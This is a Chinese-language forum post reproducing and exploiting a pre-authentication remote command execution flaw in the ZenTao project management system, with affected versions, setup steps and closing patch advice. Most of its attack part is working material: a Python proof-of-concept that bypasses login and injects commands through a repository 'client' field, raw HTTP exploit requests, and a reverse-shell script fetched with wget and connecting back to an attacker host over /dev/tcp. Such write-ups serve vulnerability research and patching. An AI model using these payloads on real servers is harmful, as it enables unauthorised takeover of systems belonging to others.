lsekfe 发表于 2023-2-22 13:15:00

RCE漏洞复现+利用---禅道

1、漏洞概述
  禅道研发项目管理软件是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。2023年1月6日,互联网披露其旧版本中存在权限绕过与命令执行漏洞,攻击者可在无需登录的情况下构造恶意请求执行任意命令,控制服务器。
  2、影响范围
  【影响版本】
  17.4<= version <=18.0.beta1(开源版)
  3.4<= version <=4.0.beta1(旗舰版)
  7.4<= version <=8.0.beta1(企业版)
  【安全版本】
  18.0.beta2(开源版)
  4.0.beta2(旗舰版)
  8.0.beta2(企业版)
  3、环境搭建
  官网下载18.0.beta1漏洞版本(手把手教你怎么下载安装)
http://www.51testing.com/attachments/2023/02/15326880_202302201607321W9pk.png
   点击后,一直下滑到下载链接,我这里选择的是Linux环境,点击下载即可。
http://www.51testing.com/attachments/2023/02/15326880_202302201607341Tirr.png
   下载后上传到 /opt/目录下(如果系统已安装了apache和mysql服务,需要停掉,不然会跟一键安装包中的服务冲突)
     解压包:
  tar -zxvf ZenTaoPMS.18.0.beta1.zbox_64.tar.gz

   启动服务
  /opt/zbox/zbox start

  启动 Apache和Mysql服务后,浏览器直接访问 http://禅道服务器ip:apache端口,输入禅道默认的管理员账号和密码:admin,123456。即可登录使用禅道。
http://www.51testing.com/attachments/2023/02/15326880_202302201607371vB4V.pnghttp://www.51testing.com/attachments/2023/02/15326880_202302201607401N15e.pnghttp://www.51testing.com/attachments/2023/02/15326880_20230220160743125O5.png
  4、漏洞复现
   1. 漏洞检测脚本POC:
  # -*- coding: UTF-8 -*-
  # !/usr/bin/python

  '''
  权限绕过+RCE POC 伪静态传参版
  禅道系统 影响版本 安全版本
  开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
  旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
  企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
  '''
  import requests

  proxies = {
      #"http": "127.0.0.1:8080",
      #"https": "127.0.0.1:8080",
  }
  def check(url):
      url1 = url+'/misc-captcha-user.html'
      # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
      # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
      url3 = url + 'repo-create.html'
      url4 = url + 'repo-edit-10000-10000.html'
      headers={
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
      }

      headers2 = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
        "Content-Type":"application/x-www-form-urlencoded",
        "X-Requested-With":"XMLHttpRequest",
        "Referer":url+"/repo-edit-1-0.html"
      }

      data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
      data2 = 'SCM=Subversion&client=`id`'
      s=requests.session()
      try:
        req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
        req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
        req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
        if 'uid=' in req4.text:
              print(url,"")
              return True
      except Exception as e:
        print(e)
      return False
  if __name__ == '__main__':
      print(check("http://x.x.x.x/zentao/"))


  注:把里面 url替换成自己环境的
http://www.51testing.com/attachments/2023/02/15326880_202302201607471EOHC.png
  回显true证明漏洞存在 .
  2. 手动复现
  BP抓取首页包,携带有效cookie创建代码仓库。
  POST /zentao/repo-create.html HTTP/1.1
  Host: your-ip
  Content-Length: 113
  Accept: application/json, text/javascript, */*; q=0.01
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Origin: http://your-ip
  Referer: http://your-ip/zentao/repo-create.html
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
  Cookie:zentaosid=984f74a56cc7ef44625511101014965c; lang=zh-cn; device=desktop; theme=default; tab=my; repoBranch=master; windowWidth=1187; windowHeight=658
  Connection: close

  product%5B%5D=22222&SCM=Gitlab&name=22222&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=aaa


http://www.51testing.com/attachments/2023/02/15326880_202302201607491ttYC.pnghttp://www.51testing.com/attachments/2023/02/15326880_202302201607521ZplJ.png
  成功创建了,构造payload实现RCE。
  POST /zentao/repo-edit-10000-10000.html HTTP/1.1
  Host: your-ip
  Content-Length: 47
  Accept: application/json, text/javascript, */*; q=0.01
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Origin: http://your-ip
  Referer: http://your-ip/zentao/repo-edit-1-0.html
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
  Cookie:zentaosid=984f74a56cc7ef44625511101014965c; lang=zh-cn; device=desktop; theme=default; tab=my; repoBranch=master; windowWidth=1187; windowHeight=658
  Connection: close

  SCM=Subversion&client=`执行的命令`


   回显出现问题,判断不出来是否执行成功。
http://www.51testing.com/attachments/2023/02/15326880_202302201607551qdD0.png
   换个方法,使用dnslog平台进行验证。
http://www.51testing.com/attachments/2023/02/15326880_202302201607571B4p9.png
   漏洞存在。
  5、漏洞利用
   准备直接反弹shell,没想到报错了。。。知道的大哥指点一下:
http://www.51testing.com/attachments/2023/02/15326880_202302201608001I4T3.png
  换种方法,让目标下载恶意脚本到临时目录,制作exp:
  vi 1.sh

  !/bin/sh
  bash -c 'exec bash -i >& /dev/tcp/x.x.x.x/6666 0>&1'


  python搭建http服务器:
  python3 -m http.server 8000

  让目标下载恶意脚本
  wget http://x.x.x.x:8000/1.sh -O /tmp/shell01.sh

http://www.51testing.com/attachments/2023/02/15326880_202302201608031wEad.png
  执行恶意脚本,拿到shell
http://www.51testing.com/attachments/2023/02/15326880_202302201608071dfdL.png
  6、修复建议
  1. 升级到安全版本
  开源版升级至 18.0.beta2 及以上版本;
  企业版升级至 8.0.bate2 及以上版本;
  旗舰版升级至 4.0.bate2 及以上版本
  2. 临时措施
  可在module/common/model.php文件中的echo $endResponseException->getContent();后面加上exit(); 来修复权限绕过漏洞。

页: [1]
查看完整版本: RCE漏洞复现+利用---禅道